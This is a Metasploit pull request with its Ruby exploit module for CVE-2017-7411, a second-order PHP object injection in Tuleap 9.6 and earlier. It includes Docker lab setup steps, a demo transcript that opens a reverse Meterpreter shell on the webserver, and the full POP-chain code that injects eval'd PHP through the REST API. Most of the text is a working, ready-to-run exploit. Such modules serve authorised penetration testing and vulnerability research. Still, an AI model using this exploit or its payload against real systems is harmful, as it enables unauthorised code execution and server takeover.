Add module for CVE-2017-7411: Tuleap <= 9.6 Second-Order PHP Object Injection
This PR contains a module to exploit [CVE-2017-7411](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7411), a Second-Order PHP Object Injection vulnerability in Tuleap before version 9.7 that might allow authenticated users to execute arbitrary code with the permissions of the webserver. The module has been tested successfully with Tuleap versions 9.6, 8.19, and 8.8 deployed in a Docker container. ## Verification Steps The quickest way to install an old version of Tuleap is through a Docker container. So install Docker on your system and go through the following steps: 1. Run `docker volume create --name tuleap` 2. Run `docker run -ti -e VIRTUAL_HOST=localhost -p 80:80 -p 443:443 -p 22:22 -v tuleap:/data enalean/tuleap-aio:9.6` 3. Run the following command in order to get the "Site admin password": `docker exec -ti <container_name> cat /data/root/.tuleap_passwd` 4. Go to `https://localhost/account/login.php` and log in as the "admin" user 5. Go to `https://localhost/admin/register_admin.php?page=admin_creation` and create a new user (NOT Restricted User) 6. Open a new browser session and log in as the newly created user 7. From this session go to `https://localhost/project/register.php` and make a new project (let's name it "test") 8. Come back to the admin session, go to `https://localhost/admin/approve-pending.php` and click on "Validate" 9. From the user session you can now browse to `https://localhost/projects/test/` and click on "Trackers" -> "Create a New Tracker" 10. Make a new tracker by choosing e.g. the "Bugs" template, fill all the fields and click on "Create" 11. Click on "Submit new artifact", fill all the fields and click on "Submit" 12. You can now test the MSF module by using the user account created at step n.5 NOTE: successful exploitation of this vulnerability requires an user account with permissions to submit a new Tracker artifact or access already existing artifacts, which means it might be exploited also by a "Restricted User". ## Demonstration ``` msf > use exploit/unix/webapp/tuleap_rest_unserialize_exec msf exploit(tuleap_rest_unserialize_exec) > set RHOST localhost msf exploit(tuleap_rest_unserialize_exec) > set USERNAME test msf exploit(tuleap_rest_unserialize_exec) > set PASSWORD p4ssw0rd msf exploit(tuleap_rest_unserialize_exec) > check [*] Trying to login through the REST API... [+] Login successful with test:p4ssw0rd [*] Updating user preference with POP chain string... [*] Retrieving the CSRF token for login... [+] CSRF token: 089d56ffc3888c5bc90220f843f582aa [+] Login successful with test:p4ssw0rd [*] Triggering the POP chain... [+] localhost:443 The target is vulnerable. msf exploit(tuleap_rest_unserialize_exec) > set PAYLOAD php/meterpreter/reverse_tcp msf exploit(tuleap_rest_unserialize_exec) > ifconfig docker0 | grep "inet:" | awk -F'[: ]+' '{ print $4 }' msf exploit(tuleap_rest_unserialize_exec) > set LHOST 172.17.0.1 msf exploit(tuleap_rest_unserialize_exec) > exploit [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Trying to login through the REST API... [+] Login successful with test:p4ssw0rd [*] Updating user preference with POP chain string... [*] Retrieving the CSRF token for login... [+] CSRF token: 01acd8380d98c587b37ddd75ba8ff6f7 [+] Login successful with test:p4ssw0rd [*] Triggering the POP chain... [*] Sending stage (33721 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:56572) at 2017-11-01 16:07:01 +0100 meterpreter > getuid Server username: codendiadm (497) ```MS-2855/keylogger-mettle-extension
parent
a347dee372
commit
6985e1b940
|
@ -0,0 +1,187 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which
|
||||
could be abused by authenticated users to execute arbitrary PHP code with the permissions of the
|
||||
webserver. The vulnerability exists because of the User::getRecentElements() method is using the
|
||||
unserialize() function with data that can be arbitrarily manipulated by a user through the REST
|
||||
API interface. The exploit's POP chain abuses the __toString() method from the Mustache class
|
||||
to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.
|
||||
},
|
||||
'Author' => 'EgiX',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://karmainsecurity.com/KIS-2017-02'],
|
||||
['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'],
|
||||
['CVE', '2017-7411']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['Tuleap <= 9.6', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 23 2017'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
|
||||
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
|
||||
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
|
||||
OptString.new('AID', [ false, "The Artifact ID you have access to", "1"]),
|
||||
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
|
||||
Opt::RPORT(443)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup_popchain(random_param)
|
||||
print_status("Trying to login through the REST API...")
|
||||
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'api/tokens'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => {'username' => user, 'password' => pass}.to_json
|
||||
})
|
||||
|
||||
unless res and (res.code == 201 or res.code == 200) and res.body
|
||||
msg = "Login failed with #{user}:#{pass}"
|
||||
if $is_check then print_error(msg) end
|
||||
fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
body = JSON.parse(res.body)
|
||||
uid = body['user_id'];
|
||||
token = body['token'];
|
||||
|
||||
print_good("Login successful with #{user}:#{pass}")
|
||||
print_status("Updating user preference with POP chain string...")
|
||||
|
||||
php_code = "null;eval(base64_decode($_POST['#{random_param}']));//"
|
||||
|
||||
pop_chain = 'a:1:{i:0;a:1:{'
|
||||
pop_chain << 's:2:"id";O:8:"Mustache":2:{'
|
||||
pop_chain << 'S:12:"\00*\00_template";'
|
||||
pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";'
|
||||
pop_chain << 'S:11:"\00*\00_context";a:1:{'
|
||||
pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{'
|
||||
pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{'
|
||||
pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}"
|
||||
|
||||
pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}}
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'PATCH',
|
||||
'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid},
|
||||
'data' => pref.to_json
|
||||
})
|
||||
|
||||
unless res and res.code == 200
|
||||
msg = "Something went wrong"
|
||||
if $is_check then print_error(msg) end
|
||||
fail_with(Failure::UnexpectedReply, msg)
|
||||
end
|
||||
end
|
||||
|
||||
def do_login()
|
||||
print_status("Retrieving the CSRF token for login...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'account/login.php')
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body and res.get_cookies
|
||||
if res.body =~ /name="challenge" value="(\w+)">/
|
||||
csrf_token = $1
|
||||
print_good("CSRF token: #{csrf_token}")
|
||||
else
|
||||
print_warning("CSRF token not found. Trying to login without it...")
|
||||
end
|
||||
else
|
||||
msg = "Failed to retrieve the login page"
|
||||
if $is_check then print_error(msg) end
|
||||
fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => res.get_cookies,
|
||||
'uri' => normalize_uri(target_uri.path, 'account/login.php'),
|
||||
'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}
|
||||
})
|
||||
|
||||
unless res and res.code == 302
|
||||
msg = "Login failed with #{user}:#{pass}"
|
||||
if $is_check then print_error(msg) end
|
||||
fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
print_good("Login successful with #{user}:#{pass}")
|
||||
res.get_cookies
|
||||
end
|
||||
|
||||
def exec_php(php_code)
|
||||
random_param = rand_text_alpha(10)
|
||||
|
||||
setup_popchain(random_param)
|
||||
session_cookies = do_login()
|
||||
|
||||
print_status("Triggering the POP chain...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"),
|
||||
'cookie' => session_cookies,
|
||||
'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /Exiting with Error/
|
||||
msg = "No access to Artifact ID #{datastore['AID']}"
|
||||
$is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def check
|
||||
$is_check = true
|
||||
flag = rand_text_alpha(rand(10)+20)
|
||||
res = exec_php("print '#{flag}';")
|
||||
|
||||
if res and res.code == 200 and res.body =~ /#{flag}/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res and res.body =~ /Exiting with Error/
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
$is_check = false
|
||||
exec_php(payload.encoded)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue